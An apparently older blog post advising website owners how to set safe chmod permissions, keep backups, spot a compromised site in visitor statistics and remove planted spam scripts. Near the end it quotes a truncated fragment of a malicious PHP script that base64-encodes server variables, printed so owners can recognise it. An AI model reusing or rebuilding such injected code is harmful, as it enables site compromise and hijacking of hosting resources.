One thing you should never take for granted, is the security of your website. All it takes is for one folder to have the wrong access permissions assigned to it, and someone has found a way in. Just as Google (and all other search engines) send out their spiders and robots to scour the Internet looking for sites and links, so are spammers, sending out scripts that look for a folder or site that they can exploit.
Once they have found a folder, they tend not to make it too obvious to the web owner. Instead, they plant a script in the folder that allows them to redirect sites (spam ones) from your web site, using up your bandwidth. The file typically looks like a normal script and can remain unnoticed for quite some time.
The first thing to do to improve the security of your site, is to check that the permissions on each folder and file are set to the right level. There are several ways to set the permission levels (depending on which server that you use). If your website is on an Apache server, you would use Unix commands to set the permissions. The command to set the permissions is chmod. For a detailed explanation on chmod, have a look at the wikipedia site: http://en.wikipedia.org/wiki/Chmod
Basically, you would not want any directory or file to have the chmod permissions of 777. These permissions give everyone (owner, group, and public) read, write and execute permissions. If you come across any directories with these permissions, change them to 755. Images and files should have the permissions of 644.
Another important thing to do with your website is to perform a regular back up. If anything or anyone compromises your site, you can at least have a ‘safe’ copy of the site that you can either install over the top, or refer back to.
How to Tell if Your Site Has Been Compromised
Regularly checking the statistics of your website is a great way to see if anything unusual is happening. Statistics are provided by the web host through cPanel, and contain such tools as ‘Latest Visitors’, ‘Awstats‘ and ‘Webaliser‘. Latest Visitors shows the last 300 people that have accessed your site. Have a look at your Latest Visitors, and check that everything appears normal.
Things to look out for are: /images/2007/08//someFileNeverSeenBefore.html
The point that I am trying to make here, is to look for files that appear to be coming from a directory on your site. What might start off as a few of these strange files, can quickly turn in to hundreds.
What to Do if Your Site Has Been Compromised
If you happen to find suspicious links coming from your site, or you have found malicious scripts running from your directories, you will need to go over everything in the infected area (whether that be a particular folder, or the whole site).
To be extra cautious, it would pay to do a complete back up of the site. At the very least, if you delete the wrong file, you can always restore it. It is also a lot easier to go over the files when they are located locally on your PC. To further test your files, you could run a virus scanner over every file.
Once you have located the malicious script, delete it. Basically, any image directory should contain only images (this is particularly useful for WordPress users). There should not be any .HTACCESS files located in the directories. Unless of course you have created it, and you know exactly what it does.
An example of a partial malicious file is:
["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).”.”.base64_encode($b).”.”.base64_encode($c).”.”.base64_encode($d).”.”.base64_encode($e).”.”.base64_encode($f).”.”.base64
An explanation of what this type of file is doing can be found here.
Once the file in question has been erased, I would go over every single file/folder in the infected area and check that the permissions are correct. To be on the safe side, I would replace every file in the infected folder/s with a safe backed up version. Depending on where the compromise took place, you may need to change all of your passwords.
When you are happy with the changes to the site, you should delete the backed up ‘compromised’ version of the site.
An additional point of reference is the Google Webmaster site. This site can be used to remove dead (rogue) links and also to see who is linking to your site.
To use the Google Webmaster site you will need to verify your site first. The Google Webmaster site will explain exactly what you need to do to verify your site.
Finally, if there is anything you would like to add to this post, or if there is anything that I have left out that should be mentioned, please let me know. Helping people combat spammers is in the best interest of every decent web owner.
